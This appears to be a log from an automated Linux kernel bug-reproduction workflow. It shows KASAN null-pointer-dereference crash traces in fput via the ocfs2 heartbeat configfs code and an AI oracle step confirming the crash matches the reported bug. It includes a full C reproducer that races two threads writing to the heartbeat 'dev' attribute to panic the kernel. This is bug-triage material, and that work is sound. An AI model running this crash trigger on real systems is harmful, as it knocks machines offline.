check_region_inline mm/kasan/generic.c:186 [inline]
kasan_check_range+0x10f/0x1e0 mm/kasan/generic.c:200
instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
atomic_long_dec_return include/linux/atomic/atomic-instrumented.h:3766 [inline]
file_ref_put include/linux/file_ref.h:157 [inline]
fput+0x2e/0x100 fs/file_table.c:588
o2hb_region_dev_store+0x1230/0x1bc0 fs/ocfs2/cluster/heartbeat.c:1935
flush_write_buffer fs/configfs/file.c:207 [inline]
configfs_write_iter+0x302/0x4e0 fs/configfs/file.c:229
new_sync_write fs/read_write.c:595 [inline]
vfs_write+0x6ac/0x1050 fs/read_write.c:687
ksys_write+0x12a/0x250 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x115/0x870 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fd8eccb5ab9
Code: c0 79 93 eb d5 48 8d 7c 1d 00 eb 99 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 d8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007ffc7d881e78 EFLAGS: 00000246 ORIG_RAX: 0000000000000001
RAX: ffffffffffffffda RBX: 0000200000000540 RCX: 00007fd8eccb5ab9
RDX: 0000000000000001 RSI: 00002000000005c0 RDI: 0000000000000004
RBP: 0030706f6f6c2f2e R08: 0000000000000009 R09: 0000000000000009
R10: 0000000000000009 R11: 0000000000000246 R12: 000000000001009b
R13: 00007ffc7d881e8c R14: 00007ffc7d881ea0 R15: 0000200000000008
</TASK>
==================================================================
IsProbe: false
Reproduced: true
Console Output: [ 61.946612][ T33] kauditd_printk_skb: 10 callbacks suppressed
[ 61.946621][ T33] audit: type=1400 audit(1788555666.426:201): avc: denied { transition } for pid=5819 comm="sshd-session" path="/bin/sh" dev="sda1" ino=90 scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 61.956299][ T33] audit: type=1400 audit(1788555666.436:202): avc: denied { noatsecure } for pid=5819 comm="sshd-session" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 61.964330][ T33] audit: type=1400 audit(1788555666.436:203): avc: denied { rlimitinh } for pid=5819 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 61.970604][ T33] audit: type=1400 audit(1788555666.436:204): avc: denied { siginh } for pid=5819 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
Warning: Permanently added '[localhost]:7215' (ED25519) to the list of known hosts.
[ 63.988983][ T33] audit: type=1400 audit(1788555668.466:205): avc: denied { mounton } for pid=5832 comm="syz-executor369" path="/sys/kernel/config" dev="configfs" ino=68 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[ 63.998170][ T33] audit: type=1400 audit(1788555668.466:206): avc: denied { mount } for pid=5832 comm="syz-executor369" name="/" dev="configfs" ino=68 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=filesystem permissive=1
[ 64.002137][ T5832] audit: audit_backlog=65 > audit_backlog_limit=64
[ 64.006189][ T33] audit: type=1400 audit(1788555668.466:207): avc: denied { search } for pid=5832 comm="syz-executor369" name="/" dev="configfs" ino=68 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[ 64.007879][ T5832] audit: audit_lost=1 audit_rate_limit=0 audit_backlog_limit=64
[ 64.015184][ T33] audit: type=1400 audit(1788555668.466:208): avc: denied { search } for pid=5832 comm="syz-executor369" name="cluster" dev="configfs" ino=168 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[ 64.023145][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.025746][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.030691][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.035179][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.038975][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.042927][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.042940][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.047127][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.050949][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.054721][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.058599][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.062081][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.065935][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.069879][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.073592][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.077453][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.081017][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.085320][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.088712][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.092446][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.096234][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.099850][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.103657][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.107601][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.111159][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.115052][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.118718][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.122542][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.126806][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.130028][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.133817][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.141245][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.145240][ T5835] ==================================================================
[ 64.145248][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.148951][ T5835] BUG: KASAN: null-ptr-deref in fput+0x30/0xd0
[ 64.151580][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.155233][ T5835] Write of size 8 at addr 0000000000000158 by task syz-executor369/5835
[ 64.155242][ T5835]
[ 64.155248][ T5835] CPU: 1 UID: 0 PID: 5835 Comm: syz-executor369 Not tainted syzkaller #1 PREEMPT(full)
[ 64.155256][ T5835] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 64.155260][ T5835] Call Trace:
[ 64.155264][ T5835] <TASK>
[ 64.155267][ T5835] dump_stack_lvl+0xe8/0x150
[ 64.155283][ T5835] ? fput+0x30/0xd0
[ 64.155289][ T5835] kasan_report+0x117/0x150
[ 64.155297][ T5835] ? fput+0x30/0xd0
[ 64.155308][ T5835] kasan_check_range+0x264/0x2c0
[ 64.155316][ T5835] fput+0x30/0xd0
[ 64.155322][ T5835] o2hb_region_dev_store+0x70b/0x1330
[ 64.155333][ T5835] ? __pfx_o2hb_region_dev_store+0x10/0x10
[ 64.155343][ T5835] ? _copy_from_iter+0x21b/0x1660
[ 64.155352][ T5835] ? configfs_write_iter+0x238/0x430
[ 64.155362][ T5835] ? configfs_write_iter+0x238/0x430
[ 64.155371][ T5835] ? down_read+0x2be/0x330
[ 64.155382][ T5835] ? __pfx_o2hb_region_dev_store+0x10/0x10
[ 64.155391][ T5835] configfs_write_iter+0x337/0x430
[ 64.155400][ T5835] vfs_write+0x612/0xba0
[ 64.155408][ T5835] ? __pfx_vfs_write+0x10/0x10
[ 64.155417][ T5835] ? __fget_files+0x2a/0x420
[ 64.155425][ T5835] __x64_sys_pwrite64+0x196/0x220
[ 64.155434][ T5835] ? __pfx___x64_sys_pwrite64+0x10/0x10
[ 64.155443][ T5835] ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 64.155450][ T5835] do_syscall_64+0x174/0x580
[ 64.155459][ T5835] ? trace_irq_disable+0x3b/0x140
[ 64.155466][ T5835] ? clear_bhb_loop+0x40/0x90
[ 64.155473][ T5835] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 64.155480][ T5835] RIP: 0033:0x7f00c717be4e
[ 64.155486][ T5835] Code: 08 0f 85 05 e3 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
[ 64.155492][ T5835] RSP: 002b:00007f00c6925128 EFLAGS: 00000246 ORIG_RAX: 0000000000000012
[ 64.155519][ T5835] RAX: ffffffffffffffda RBX: 00007f00c69256c0 RCX: 00007f00c717be4e
[ 64.155524][ T5835] RDX: 0000000000000002 RSI: 00007f00c71fbb20 RDI: 0000000000000005
[ 64.155528][ T5835] RBP: 0000000000000021 R08: 0000000000000000 R09: 0000000000000000
[ 64.155532][ T5835] R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
[ 64.155537][ T5835] R13: 0000000000000011 R14: 00007ffc23fbaef0 R15: 00007ffc23fbafd8
[ 64.155543][ T5835] </TASK>
[ 64.155546][ T5835] ==================================================================
[ 64.157775][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.161717][ T5835] Kernel panic - not syncing: KASAN: panic_on_warn set ...
[ 64.161725][ T5835] CPU: 1 UID: 0 PID: 5835 Comm: syz-executor369 Not tainted syzkaller #1 PREEMPT(full)
[ 64.161733][ T5835] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 64.161737][ T5835] Call Trace:
[ 64.161741][ T5835] <TASK>
[ 64.161744][ T5835] vpanic+0x56c/0xa60
[ 64.161756][ T5835] ? __pfx_vpanic+0x10/0x10
[ 64.161766][ T5835] panic+0xc5/0xd0
[ 64.161774][ T5835] ? __pfx_panic+0x10/0x10
[ 64.161783][ T5835] ? fput+0x30/0xd0
[ 64.161790][ T5835] ? fput+0x30/0xd0
[ 64.161796][ T5835] check_panic_on_warn+0x89/0xb0
[ 64.161803][ T5835] ? fput+0x30/0xd0
[ 64.161808][ T5835] end_report+0x73/0x170
[ 64.161815][ T5835] ? fput+0x30/0xd0
[ 64.161820][ T5835] kasan_report+0x128/0x150
[ 64.161827][ T5835] ? fput+0x30/0xd0
[ 64.161834][ T5835] kasan_check_range+0x264/0x2c0
[ 64.161841][ T5835] fput+0x30/0xd0
[ 64.161847][ T5835] o2hb_region_dev_store+0x70b/0x1330
[ 64.161859][ T5835] ? __pfx_o2hb_region_dev_store+0x10/0x10
[ 64.161868][ T5835] ? _copy_from_iter+0x21b/0x1660
[ 64.161877][ T5835] ? configfs_write_iter+0x238/0x430
[ 64.161886][ T5835] ? configfs_write_iter+0x238/0x430
[ 64.161895][ T5835] ? down_read+0x2be/0x330
[ 64.161905][ T5835] ? __pfx_o2hb_region_dev_store+0x10/0x10
[ 64.161914][ T5835] configfs_write_iter+0x337/0x430
[ 64.161923][ T5835] vfs_write+0x612/0xba0
[ 64.161931][ T5835] ? __pfx_vfs_write+0x10/0x10
[ 64.161940][ T5835] ? __fget_files+0x2a/0x420
[ 64.161948][ T5835] __x64_sys_pwrite64+0x196/0x220
[ 64.161957][ T5835] ? __pfx___x64_sys_pwrite64+0x10/0x10
[ 64.161966][ T5835] ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 64.161972][ T5835] do_syscall_64+0x174/0x580
[ 64.161981][ T5835] ? trace_irq_disable+0x3b/0x140
[ 64.161988][ T5835] ? clear_bhb_loop+0x40/0x90
[ 64.161995][ T5835] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 64.162001][ T5835] RIP: 0033:0x7f00c717be4e
[ 64.162007][ T5835] Code: 08 0f 85 05 e3 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
[ 64.162013][ T5835] RSP: 002b:00007f00c6925128 EFLAGS: 00000246 ORIG_RAX: 0000000000000012
[ 64.162021][ T5835] RAX: ffffffffffffffda RBX: 00007f00c69256c0 RCX: 00007f00c717be4e
[ 64.162026][ T5835] RDX: 0000000000000002 RSI: 00007f00c71fbb20 RDI: 0000000000000005
[ 64.162030][ T5835] RBP: 0000000000000021 R08: 0000000000000000 R09: 0000000000000000
[ 64.162034][ T5835] R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
[ 64.162039][ T5835] R13: 0000000000000011 R14: 00007ffc23fbaef0 R15: 00007ffc23fbafd8
[ 64.162045][ T5835] </TASK>
[ 64.165024][ T5835] Kernel Offset: disabled
Strace Output:
Crash Report: (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
==================================================================
BUG: KASAN: null-ptr-deref in instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
BUG: KASAN: null-ptr-deref in atomic_long_dec_return include/linux/atomic/atomic-instrumented.h:3766 [inline]
BUG: KASAN: null-ptr-deref in file_ref_put include/linux/file_ref.h:157 [inline]
BUG: KASAN: null-ptr-deref in fput+0x30/0xd0 fs/file_table.c:588
Write of size 8 at addr 0000000000000158 by task syz-executor369/5835
CPU: 1 UID: 0 PID: 5835 Comm: syz-executor369 Not tainted syzkaller #1 PREEMPT(full)
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
kasan_report+0x117/0x150 mm/kasan/report.c:595
check_region_inline mm/kasan/generic.c:-1 [inline]
kasan_check_range+0x264/0x2c0 mm/kasan/generic.c:200
instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
atomic_long_dec_return include/linux/atomic/atomic-instrumented.h:3766 [inline]
file_ref_put include/linux/file_ref.h:157 [inline]
fput+0x30/0xd0 fs/file_table.c:588
o2hb_region_dev_store+0x70b/0x1330 fs/ocfs2/cluster/heartbeat.c:1935
flush_write_buffer fs/configfs/file.c:207 [inline]
configfs_write_iter+0x337/0x430 fs/configfs/file.c:229
new_sync_write fs/read_write.c:595 [inline]
vfs_write+0x612/0xba0 fs/read_write.c:687
ksys_pwrite64 fs/read_write.c:794 [inline]
__do_sys_pwrite64 fs/read_write.c:802 [inline]
__se_sys_pwrite64 fs/read_write.c:799 [inline]
__x64_sys_pwrite64+0x196/0x220 fs/read_write.c:799
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f00c717be4e
Code: 08 0f 85 05 e3 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007f00c6925128 EFLAGS: 00000246 ORIG_RAX: 0000000000000012
RAX: ffffffffffffffda RBX: 00007f00c69256c0 RCX: 00007f00c717be4e
RDX: 0000000000000002 RSI: 00007f00c71fbb20 RDI: 0000000000000005
RBP: 0000000000000021 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000011 R14: 00007ffc23fbaef0 R15: 00007ffc23fbafd8
</TASK>
==================================================================
|
| 204/4 |
2026/09/04 21:01 |
llm |
repro-oracle |
0m
Model:
Tokens:
input: 13578
output: 62
thoughts: 752
Thoughts: **Analysis of Reproducer Run for KASAN: null-ptr-deref Write in fput**
My task was to analyze the results of a reproducer run targeting the "KASAN: null-ptr-deref Write in fput" bug. The reproducer was successful in triggering a crash, which is the primary goal of such an exercise. I then examined the provided crash report to confirm that it indeed corresponds to the original bug description.
Upon reviewing the crash report, I observed the following key elements:
* **KASAN reported a `null-ptr-deref`**: This is a critical indication of a bug where the kernel attempted to access memory through a null pointer.
* **The dereference occurred within `instrument_atomic_read_write`, `atomic_long_dec_return`, and `file_ref_put`**: These inline functions are part of the atomic operations and file reference counting mechanisms, respectively. The fact that they are inlined means the actual problematic operation might be one level deeper.
* **The crash culminated in `fput`**: Specifically, the report points to `fput+0x30/0xd0` in `fs/file_table.c:588`. This is the core function where the `null-ptr-deref` occurred.
* **The crash involved a "Write of size 8 at addr 0000000000000158"**: This detail gives us a specific location and type of memory access that failed.
* **The call trace**: This is crucial. I traced the execution path leading to the crash, noting the sequence of function calls: `fput` itself, then `o2hb_region_dev_store` in `fs/ocfs2/cluster/heartbeat.c`, followed by `flush_write_buffer` and `configfs_write_iter` within `fs/configfs/file.c`.
The most important confirmation came when I compared this crash report with the original bug description. I found an **exact match**:
* The KASAN error type (`null-ptr-deref`).
* The involved functions (`instrument_atomic_read_write`, `atomic_long_dec_return`, `file_ref_put`, `fput`).
* The specific file and line number for `fput` (`fs/file_table.c:588`).
* The call trace, particularly the entry point into `fput` from `o2hb_region_dev_store`.
This precise alignment leaves no doubt in my mind that the reproducer successfully triggered the intended bug.
Based on this analysis, I will proceed with setting the following results:
* **`TitleMatches` will be set to `true`**: This signifies that the observed crash's signature aligns with the bug title.
* **`ProbePassed` will be set to `false`**: This is because the reproducer's purpose was to trigger a bug, not to pass a probe. A successful bug trigger implies the probe did not "pass" in the sense of a clean execution.
* **Feedback will confirm the match**: I will state that the reproducer successfully triggered the expected crash, and that the crash signature and call trace precisely match the original bug report, thereby confirming that the underlying issue is indeed the same.
Finally, I will execute the `set-results` command with these parameters to record the outcome of this reproducer run.
|
| 205/4 |
2026/09/04 21:01 |
tool |
set-results |
0m
Args: map[Feedback:The reproducer successfully triggered the expected crash. The crash signature and call trace match the original bug report exactly, confirming that the underlying issue is the same. ProbePassed:false TerminalError: TitleMatches:true]
Results: map[Feedback:The reproducer successfully triggered the expected crash. The crash signature and call trace match the original bug report exactly, confirming that the underlying issue is the same. ProbePassed:false TerminalError: TitleMatches:true]
|
| 206/3 |
2026/09/04 21:01 |
action |
loop-controller |
0m
Results: map[CapabilitiesVerified:true ContinueSignal: EquivalenceAnalysis:The reproducer successfully triggered the expected crash. The crash signature and call trace match the original bug report exactly, confirming that the underlying issue is the same. OracleFeedback:The reproducer successfully triggered the expected crash. The crash signature and call trace match the original bug report exactly, confirming that the underlying issue is the same. ReproC:#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <sched.h>
#ifndef BLKSSZGET
#define BLKSSZGET _IO(0x12,104)
#endif
int dev_attr_fd1;
int dev_attr_fd2;
char fd_str[16];
int fd_len;
void *thread_func1(void *arg)
{
cpu_set_t cpuset;
CPU_ZERO(&cpuset);
CPU_SET(0, &cpuset);
pthread_setaffinity_np(pthread_self(), sizeof(cpu_set_t), &cpuset);
while (1) {
pwrite(dev_attr_fd1, fd_str, fd_len, 0);
}
return NULL;
}
void *thread_func2(void *arg)
{
cpu_set_t cpuset;
CPU_ZERO(&cpuset);
CPU_SET(1, &cpuset);
pthread_setaffinity_np(pthread_self(), sizeof(cpu_set_t), &cpuset);
while (1) {
pwrite(dev_attr_fd2, fd_str, fd_len, 0);
}
return NULL;
}
int write_file(const char *path, const char *val) {
int fd = open(path, O_WRONLY);
if (fd < 0) {
printf("[-] Failed to open %s: %s\n", path, strerror(errno));
return -1;
}
int len = strlen(val);
int res = write(fd, val, len);
if (res < 0) {
printf("[-] Failed to write to %s: %s\n", path, strerror(errno));
close(fd);
return -1;
}
close(fd);
printf("[+] Wrote '%s' to %s\n", val, path);
return 0;
}
int main(void) {
int res;
// 1. Mount configfs
res = mount("configfs", "/sys/kernel/config", "configfs", 0, NULL);
if (res < 0 && errno != EBUSY) {
printf("[-] Failed to mount configfs: %s\n", strerror(errno));
} else {
printf("[+] configfs mounted or already mounted.\n");
}
// 2. Create cluster
if (mkdir("/sys/kernel/config/cluster/mycluster", 0777) < 0 && errno != EEXIST) {
printf("[-] Failed to mkdir mycluster: %s\n", strerror(errno));
exit(1);
}
printf("[+] Created mycluster.\n");
if (mkdir("/sys/kernel/config/cluster/mycluster/node", 0777) < 0 && errno != EEXIST) {
// ignore
}
if (mkdir("/sys/kernel/config/cluster/mycluster/node/mynode", 0777) < 0 && errno != EEXIST) {
printf("[-] Failed to mkdir mynode: %s\n", strerror(errno));
exit(1);
}
printf("[+] Created mynode.\n");
// Fix initialization order: address and port must be set before num
write_file("/sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address", "127.0.0.1\n");
write_file("/sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port", "7777\n");
write_file("/sys/kernel/config/cluster/mycluster/node/mynode/num", "1\n");
write_file("/sys/kernel/config/cluster/mycluster/node/mynode/local", "1\n");
if (mkdir("/sys/kernel/config/cluster/mycluster/heartbeat", 0777) < 0 && errno != EEXIST) {
// ignore
}
if (mkdir("/sys/kernel/config/cluster/mycluster/heartbeat/myregion", 0777) < 0 && errno != EEXIST) {
printf("[-] Failed to mkdir myregion: %s\n", strerror(errno));
exit(1);
}
printf("[+] Created myregion.\n");
write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/blocks", "1\n");
write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/start_block", "1\n");
int dev_fd = open("/dev/loop0", O_RDWR);
if (dev_fd < 0) {
printf("[-] Failed to open /dev/loop0: %s\n", strerror(errno));
dev_fd = open("/dev/ram0", O_RDWR);
if (dev_fd < 0) {
printf("[-] Failed to open /dev/ram0: %s\n", strerror(errno));
exit(1);
}
}
printf("[+] Opened block device, fd=%d\n", dev_fd);
snprintf(fd_str, sizeof(fd_str), "%d\n", dev_fd);
fd_len = strlen(fd_str);
int sectsize = 512;
if (ioctl(dev_fd, BLKSSZGET, §size) < 0) {
printf("[-] Failed to ioctl BLKSSZGET: %s\n", strerror(errno));
}
int block_bytes = (sectsize == 512) ? 1024 : 512;
char block_bytes_str[32];
snprintf(block_bytes_str, sizeof(block_bytes_str), "%d\n", block_bytes);
write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/block_bytes", block_bytes_str);
dev_attr_fd1 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
dev_attr_fd2 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
if (dev_attr_fd1 < 0 || dev_attr_fd2 < 0) {
printf("[-] Failed to open dev attr: %s\n", strerror(errno));
exit(1);
}
printf("[+] Opened dev attr twice.\n");
pthread_t t1, t2;
pthread_create(&t1, NULL, thread_func1, NULL);
pthread_create(&t2, NULL, thread_func2, NULL);
printf("[+] Threads started. Waiting for crash...\n");
sleep(5);
return 0;
}
Reproduced:true ReproducedBugTitle:KASAN: null-ptr-deref Write in fput ReproducedCrashReport:(syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
==================================================================
BUG: KASAN: null-ptr-deref in instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
BUG: KASAN: null-ptr-deref in atomic_long_dec_return include/linux/atomic/atomic-instrumented.h:3766 [inline]
BUG: KASAN: null-ptr-deref in file_ref_put include/linux/file_ref.h:157 [inline]
BUG: KASAN: null-ptr-deref in fput+0x30/0xd0 fs/file_table.c:588
Write of size 8 at addr 0000000000000158 by task syz-executor369/5835
CPU: 1 UID: 0 PID: 5835 Comm: syz-executor369 Not tainted syzkaller #1 PREEMPT(full)
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
kasan_report+0x117/0x150 mm/kasan/report.c:595
check_region_inline mm/kasan/generic.c:-1 [inline]
kasan_check_range+0x264/0x2c0 mm/kasan/generic.c:200
instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
atomic_long_dec_return include/linux/atomic/atomic-instrumented.h:3766 [inline]
file_ref_put include/linux/file_ref.h:157 [inline]
fput+0x30/0xd0 fs/file_table.c:588
o2hb_region_dev_store+0x70b/0x1330 fs/ocfs2/cluster/heartbeat.c:1935
flush_write_buffer fs/configfs/file.c:207 [inline]
configfs_write_iter+0x337/0x430 fs/configfs/file.c:229
new_sync_write fs/read_write.c:595 [inline]
vfs_write+0x612/0xba0 fs/read_write.c:687
ksys_pwrite64 fs/read_write.c:794 [inline]
__do_sys_pwrite64 fs/read_write.c:802 [inline]
__se_sys_pwrite64 fs/read_write.c:799 [inline]
__x64_sys_pwrite64+0x196/0x220 fs/read_write.c:799
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f00c717be4e
Code: 08 0f 85 05 e3 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007f00c6925128 EFLAGS: 00000246 ORIG_RAX: 0000000000000012
RAX: ffffffffffffffda RBX: 00007f00c69256c0 RCX: 00007f00c717be4e
RDX: 0000000000000002 RSI: 00007f00c71fbb20 RDI: 0000000000000005
RBP: 0000000000000021 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000011 R14: 00007ffc23fbaef0 R15: 00007ffc23fbafd8
</TASK>
==================================================================
]
|
| 207/1 |
2026/09/04 21:01 |
action |
save-repro-c |
0m
Results:
|